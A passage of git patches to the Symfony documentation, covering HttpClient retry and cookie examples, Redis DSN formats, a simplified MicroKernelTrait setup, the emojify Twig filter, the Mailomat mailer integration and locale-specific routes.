+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
+
 retry_strategy
 ..............
 

From 1aa2513b1e88865105b2a9374f3cf93cb6a28173 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 15:32:35 +0200
Subject: [PATCH 6148/7107] Mention that you need a config/ dir for
 MicroKernelTrait

---
 configuration/micro_kernel_trait.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 8b4869fdea1..4d7494e72f8 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -70,6 +70,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
     $response->send();
     $kernel->terminate($request, $response);
 
+.. note::
+
+    In addition to the ``index.php`` file, you'll need to create a directory called
+    ``config/`` in your project (even if it's empty because you define the configuration
+    options inside the ``configureContainer()`` method).
+
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
 

From 0643f16f56ba4e751f0c95f31db23781a615da92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 10:58:20 +0200
Subject: [PATCH 6149/7107] [HttpClient] Fix how cookies are defined and sent

---
 http_client.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 8a344e552a2..bc950a382e8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -693,17 +693,21 @@ cookies automatically.
 
 You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`,
 which integrates seamlessly with the HttpClient component, or manually setting
-the ``Cookie`` HTTP header as follows::
+`the Cookie HTTP request header`_ as follows::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpFoundation\Cookie;
 
     $client = HttpClient::create([
         'headers' => [
-            'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+            // set one cookie as a name=value pair
+            'Cookie' => 'flavor=chocolate',
 
-            // you can also pass the cookie contents as a string
-            'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+            // you can set multiple cookies at once separating them with a ;
+            'Cookie' => 'flavor=chocolate; size=medium',
+
+            // if needed, encode the cookie value to ensure that it contains valid characters
+            'Cookie' => sprintf("%s=%s", 'foo', rawurlencode('...')),
         ],
     ]);
 
@@ -2089,3 +2093,4 @@ test it in a real application::
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
+.. _`the Cookie HTTP request header`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie

From 45d0dc9142fc97dfbf7b61890ab2132def47c94d Mon Sep 17 00:00:00 2001
From: Nikita <95922066+moviex1@users.noreply.github.com>
Date: Mon, 17 Jun 2024 20:00:17 +0300
Subject: [PATCH 6150/7107] Update access_token.rst, removed letter

---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index c798befbd30..18f28e9f9f5 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -99,7 +99,7 @@ This handler must implement
 
             // and return a UserBadge object containing the user identifier from the found token
             // (this is the same identifier used in Security configuration; it can be an email,
-            // a UUUID, a username, a database ID, etc.)
+            // a UUID, a username, a database ID, etc.)
             return new UserBadge($accessToken->getUserId());
         }
     }

From a21ac0c8c2c62b5e4a8f9184b704af05303bddd0 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 17 Jun 2024 21:01:56 +0300
Subject: [PATCH 6151/7107] Update serializer.rst

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fedd41cf08b..bbf31afacf8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -799,7 +799,7 @@ When serializing, you can set a callback to format a specific object property::
 
     // all callback parameters are optional (you can omit the ones you don't use)
     $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
-        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
+        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : '';
     };
 
     $defaultContext = [

From 88540e63f48324b24c11730e74fe2b720ed19b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 16:18:46 +0200
Subject: [PATCH 6152/7107] [Cache] Mention that user/password are not
 supported for Redis DSN

---
 components/cache/adapters/redis_adapter.rst | 31 ++++-----------------
 1 file changed, 6 insertions(+), 25 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 5512b576f0e..590483a19be 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -55,24 +55,18 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
-The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index. To enable TLS for connections, the scheme ``redis`` must be
-replaced by ``rediss`` (the second ``s`` means "secure").
+The DSN can specify either an IP/host (and an optional port) or a socket path, as
+well as a database index. To enable TLS for connections, the scheme ``redis`` must
+be replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
-    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
+    A `Data Source Name (DSN)`_ for this adapter must use the following format.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
-    .. code-block:: text
-
-        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
-
-    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
-
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -89,11 +83,8 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
-    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
-
-    // providing credentials with alternate DSN syntax
-    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
 
     // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
@@ -108,16 +99,6 @@ parameter to set the name of your service group::
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
-    // providing credentials
-    RedisAdapter::createConnection(
-        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
-    );
-
-    // providing credentials and selecting database index "3"
-    RedisAdapter::createConnection(
-        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
-    );
-
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From b7fe8d48ec7fc9c6e0fb450cde2e6e329ee030ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 10:32:16 +0200
Subject: [PATCH 6153/7107] [Cache] Revert some changes merged made in 5.x
 branch

---
 components/cache/adapters/redis_adapter.rst | 31 +++++++++++++++++----
 1 file changed, 25 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index f5f817f65dd..6ef62473c58 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -59,18 +59,24 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
-The DSN can specify either an IP/host (and an optional port) or a socket path, as
-well as a database index. To enable TLS for connections, the scheme ``redis`` must
-be replaced by ``rediss`` (the second ``s`` means "secure").
+The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
-    A `Data Source Name (DSN)`_ for this adapter must use the following format.
+    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
+    .. code-block:: text
+
+        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
+
+    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
+
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -87,8 +93,11 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // a single DSN can define multiple servers using the following syntax:
-    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
+    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
+
+    // providing credentials with alternate DSN syntax
+    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
 
     // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
@@ -103,6 +112,16 @@ parameter to set the name of your service group::
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
+    // providing credentials
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
+    );
+
+    // providing credentials and selecting database index "3"
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
+    );
+
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From 51a7480fe4106a17ed88e9e990f74e8c971986ef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 16:00:26 +0200
Subject: [PATCH 6154/7107] [FrameworkBundle] Remove an unneeded versionadded
 directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3ddfc3e472..8fe6c6e637b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1236,10 +1236,6 @@ retry_failed
 
 **type**: ``array``
 
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 This option configures the behavior of the HTTP client when some request fails,
 including which types of requests to retry and how many times. The behavior is
 defined with the following options:

From 0050ebae4c477b9f1aa30e2c86526e6827820efe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 16:03:27 +0200
Subject: [PATCH 6155/7107] [FrameworkBundle] Remove some unneeded versionadded
 directives

---
 configuration/micro_kernel_trait.rst  | 4 ----
 reference/configuration/framework.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6b90a3d7ddb..b67335514a1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -120,10 +120,6 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-.. versionadded:: 6.1
-
-    The PHP attributes notation has been introduced in Symfony 6.1.
-
 .. note::
 
     In addition to the ``index.php`` file, you'll need to create a directory called
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6e93c4568b9..fec52229973 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -972,10 +972,6 @@ crypto_method
 The minimum version of TLS to accept. The value must be one of the
 ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-.. versionadded:: 6.3
-
-    The ``crypto_method`` option was introduced in Symfony 6.3.
-
 .. _reference-http-client-retry-delay:
 
 delay

From 754f12d88b78346939015cefc360e678856e7103 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 18 Jun 2024 14:04:09 +0200
Subject: [PATCH 6156/7107] Update http_kernel.rst

---
 components/http_kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5023169e680..3a367347a8d 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -3,8 +3,8 @@ The HttpKernel Component
 
     The HttpKernel component provides a structured process for converting
     a ``Request`` into a ``Response`` by making use of the EventDispatcher
-    component. It's flexible enough to create a full-stack framework (Symfony),
-    a micro-framework (Silex) or an advanced CMS system (Drupal).
+    component. It's flexible enough to create a full-stack framework (Symfony)
+    or an advanced CMS (Drupal).
 
 Installation
 ------------

From e3b2563b22ef6fa313c36b7cfa5a0e5341b3358b Mon Sep 17 00:00:00 2001
From: Augustin <gus3000spam@gmail.com>
Date: Thu, 20 Jun 2024 10:59:04 +0200
Subject: [PATCH 6157/7107] Update lock.rst

incorrect assumption that $lock->getRemainingLifetime()'s unit was minutes instead of seconds
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 3332d24fe32..e97d66862f2 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -788,7 +788,7 @@ Using the above methods, a robust code would be::
             $lock->refresh();
         }
 
-        // Perform the task whose duration MUST be less than 5 minutes
+        // Perform the task whose duration MUST be less than 5 seconds
     }
 
 .. caution::

From d25c009b180ca57b0449fad9c285ceae780110e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 11:53:36 +0200
Subject: [PATCH 6158/7107] [Emoji][Twig] Add `emojify` filter

---
 reference/twig_reference.rst | 31 +++++++++++++++++++++++++++++++
 string.rst                   | 29 +++++++++++++++++++++++++++++
 2 files changed, 60 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index fcd95ce9b6e..812b56f8637 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -645,6 +645,37 @@ serialize
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
+.. _reference-twig-filter-emojify:
+
+emojify
+~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``emojify`` filter was introduced in Symfony 7.1.
+
+.. code-block:: twig
+
+    {{ text|emojify(catalog = null) }}
+
+``text``
+    **type**: ``string``
+
+``catalog`` *(optional)*
+    **type**: ``string`` | ``null``
+
+    The emoji set used to generate the textual representation (``slack``,
+    ``github``, ``gitlab``, etc.)
+
+It transforms the textual representation of an emoji (e.g. ``:wave:``) into the
+actual emoji (👋):
+
+.. code-block:: twig
+
+    {{ ':+1:'|emojify }}                 {# renders: 👍 #}
+    {{ ':+1:'|emojify('github') }}       {# renders: 👍 #}
+    {{ ':thumbsup:'|emojify('gitlab') }} {# renders: 👍 #}
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/string.rst b/string.rst
index 01752fff9c9..5e18cfcaea3 100644
--- a/string.rst
+++ b/string.rst
@@ -613,6 +613,8 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
+.. _string-text-emoji:
+
 Universal Emoji Short Codes Transliteration
 ###########################################
 
@@ -637,6 +639,33 @@ You can convert emojis to short codes with the ``emoji-text`` locale::
     $transliterator->transliterate('Breakfast with 🥝 or 🥛');
     // => 'Breakfast with :kiwifruit: or :milk-glass:
 
+Inverse Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The inverse emoji transliteration was introduced in Symfony 7.1.
+
+Given the textual representation of an emoji, you can reverse it back to get the
+actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
+
+.. code-block:: twig
+
+    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
+    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
+    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
+
+By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which
+merges the emoji text codes of all services. If you prefer, you can select a
+specific catalog to use:
+
+.. code-block:: twig
+
+    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
+    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
+    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
+    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
+
 Removing Emojis
 ~~~~~~~~~~~~~~~
 

From 15dcd7e221ae7caca0cec61f56b2adab1cdd9b55 Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Sun, 9 Jun 2024 18:19:11 +0200
Subject: [PATCH 6159/7107] [Mailer] Add mailomat mailer

---
 mailer.rst  | 10 ++++++++++
 webhook.rst |  5 +++++
 2 files changed, 15 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index d7bccb11d86..502644a741a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -106,6 +106,7 @@ Service               Install with                                    Webhook su
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
+`Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
@@ -119,6 +120,10 @@ Service               Install with                                    Webhook su
 
     The Azure and Resend integrations were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The Mailomat integration was introduced in Symfony 7.2.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -201,6 +206,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``   |
 +------------------------+---------------------------------------------------------+
+| `Mailomat`_            | - SMTP ``mailomat+smtp://USERNAME:PASSWORD@default``    |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailomat+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
 | `MailPace`_            | - SMTP ``mailpace+api://API_TOKEN@default``             |
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
@@ -1979,6 +1988,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/
+.. _`Mailomat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailomat/README.md
 .. _`MailPace`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailPace/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
diff --git a/webhook.rst b/webhook.rst
index 38f3a4b1004..52633ae83e5 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -27,6 +27,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
+Mailomat       ``mailer.webhook.request_parser.mailomat``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
@@ -36,6 +37,10 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
     The support for ``Resend`` and ``MailerSend`` were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``Mailomat`` integration was introduced in Symfony 7.2.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From 7cdfb52930f9097fef14ed56a3c8d6624461cb52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Jun 2024 09:20:04 +0200
Subject: [PATCH 6160/7107] [FrameworkBundle] Simplified the MicroKernelTrait
 setup

---
 configuration/micro_kernel_trait.rst | 107 +++++++++++++++------------
 1 file changed, 60 insertions(+), 47 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index b67335514a1..23aa677cf20 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,9 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer require symfony/config symfony/http-kernel \
-      symfony/http-foundation symfony/routing \
-      symfony/dependency-injection symfony/framework-bundle
+    $ composer symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 
@@ -34,19 +32,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
         use Symfony\Component\Routing\Attribute\Route;
 
-        require __DIR__.'/vendor/autoload.php';
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         class Kernel extends BaseKernel
         {
             use MicroKernelTrait;
 
-            public function registerBundles(): array
-            {
-                return [
-                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                ];
-            }
-
             protected function configureContainer(ContainerConfigurator $container): void
             {
                 // PHP equivalent of config/packages/framework.yaml
@@ -64,11 +55,9 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
             }
         }
 
-        $kernel = new Kernel('dev', true);
-        $request = Request::createFromGlobals();
-        $response = $kernel->handle($request);
-        $response->send();
-        $kernel->terminate($request, $response);
+        return static function (array $context) {
+            return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        }
 
     .. code-block:: php
 
@@ -80,19 +69,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        require __DIR__.'/vendor/autoload.php';
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         class Kernel extends BaseKernel
         {
             use MicroKernelTrait;
 
-            public function registerBundles(): array
-            {
-                return [
-                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                ];
-            }
-
             protected function configureContainer(ContainerConfigurator $container): void
             {
                 // PHP equivalent of config/packages/framework.yaml
@@ -114,17 +96,9 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
             }
         }
 
-        $kernel = new Kernel('dev', true);
-        $request = Request::createFromGlobals();
-        $response = $kernel->handle($request);
-        $response->send();
-        $kernel->terminate($request, $response);
-
-.. note::
-
-    In addition to the ``index.php`` file, you'll need to create a directory called
-    ``config/`` in your project (even if it's empty because you define the configuration
-    options inside the ``configureContainer()`` method).
+        return static function (array $context) {
+            return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        }
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
@@ -135,6 +109,23 @@ That's it! To test it, start the :doc:`Symfony Local Web Server
 
 Then see the JSON response in your browser: http://localhost:8000/random/10
 
+.. tip::
+
+    If your kernel only defines a single controller, you can use an invokable method::
+
+        class Kernel extends BaseKernel
+        {
+            use MicroKernelTrait;
+
+            // ...
+
+            #[Route('/random/{limit}', name: 'random_number')]
+            public function __invoke(int $limit): JsonResponse
+            {
+                // ...
+            }
+        }
+
 The Methods of a "Micro" Kernel
 -------------------------------
 
@@ -142,7 +133,26 @@ When you use the ``MicroKernelTrait``, your kernel needs to have exactly three m
 that define your bundles, your services and your routes:
 
 **registerBundles()**
-    This is the same ``registerBundles()`` that you see in a normal kernel.
+    This is the same ``registerBundles()`` that you see in a normal kernel. By
+    default, the micro kernel only registers the ``FrameworkBundle``. If you need
+    to register more bundles, override this method::
+
+        use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
+        use Symfony\Bundle\TwigBundle\TwigBundle;
+        // ...
+
+        class Kernel extends BaseKernel
+        {
+            use MicroKernelTrait;
+
+            // ...
+
+            public function registerBundles(): array
+            {
+                yield new FrameworkBundle();
+                yield new TwigBundle();
+            }
+        }
 
 **configureContainer(ContainerConfigurator $container)**
     This method builds and configures the container. In practice, you will use
@@ -151,9 +161,13 @@ that define your bundles, your services and your routes:
     services directly in PHP or load external configuration files (shown below).
 
 **configureRoutes(RoutingConfigurator $routes)**
-    Your job in this method is to add routes to the application. The
-    ``RoutingConfigurator`` has methods that make adding routes in PHP more
-    fun. You can also load external routing files (shown below).
+    In this method, you can use the ``RoutingConfigurator`` object to define routes
+    in your application and associate them to the controllers defined in this very
+    same file.
+
+    However, it's more convenient to define the controller routes using PHP attributes,
+    as shown above. That's why this method is commonly used only to load external
+    routing files (e.g. from bundles) as shown below.
 
 Adding Interfaces to "Micro" Kernel
 -----------------------------------
@@ -231,7 +245,10 @@ Now it looks like this::
     namespace App;
 
     use App\DependencyInjection\AppExtension;
+    use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Bundle\TwigBundle\TwigBundle;
+    use Symfony\Bundle\WebProfilerBundle\WebProfilerBundle;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
@@ -241,18 +258,14 @@ Now it looks like this::
     {
         use MicroKernelTrait;
 
-        public function registerBundles(): array
+        public function registerBundles(): iterable
         {
-            $bundles = [
-                new \Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                new \Symfony\Bundle\TwigBundle\TwigBundle(),
-            ];
+            yield FrameworkBundle();
+            yield TwigBundle();
 
             if ('dev' === $this->getEnvironment()) {
-                $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
+                yield WebProfilerBundle();
             }
-
-            return $bundles;
         }
 
         protected function build(ContainerBuilder $containerBuilder): void

From 7fb3276c0ac8218fc7fbfea87e8dcadb2d09d2b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jun 2024 10:29:20 +0200
Subject: [PATCH 6161/7107] Minor tweak

---
 reference/configuration/framework.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3f25e041737..ce1062de1c8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1629,7 +1629,8 @@ To see a list of all available storages, run:
 
 .. versionadded:: 5.3
 
-    The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3 as a replacement
+    of the ``storage_id`` option.
 
 .. _config-framework-session-handler-id:
 

From 55215caf28af69924057021407aa2e333d05bb60 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 24 Apr 2024 17:04:10 +0200
Subject: [PATCH 6162/7107] [Routing] Document the effect of setting `locale`
 on a route with locale prefixes

---
 routing.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/routing.rst b/routing.rst
index b557763e118..45f6d9a92b4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2416,6 +2416,54 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+.. tip::
+
+    If the special :ref:`_locale <routing-locale-parameter>` routing parameter
+    is set on any of the imported routes, that route will only be available
+    with the prefix for that locale. This is useful when you want to import
+    a collection of routes which contains a route that should only exist
+    in one of the locales:
+
+    .. configuration-block::
+
+        .. code-block:: php-annotations
+
+            // src/Controller/CompanyController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Annotation\Route;
+
+            class CompanyController extends AbstractController
+            {
+                /**
+                 * @Route("/about-us/en-only", locale="en", name="about_us")
+                 */
+                public function about(): Response
+                {
+                    // ...
+                }
+            }
+
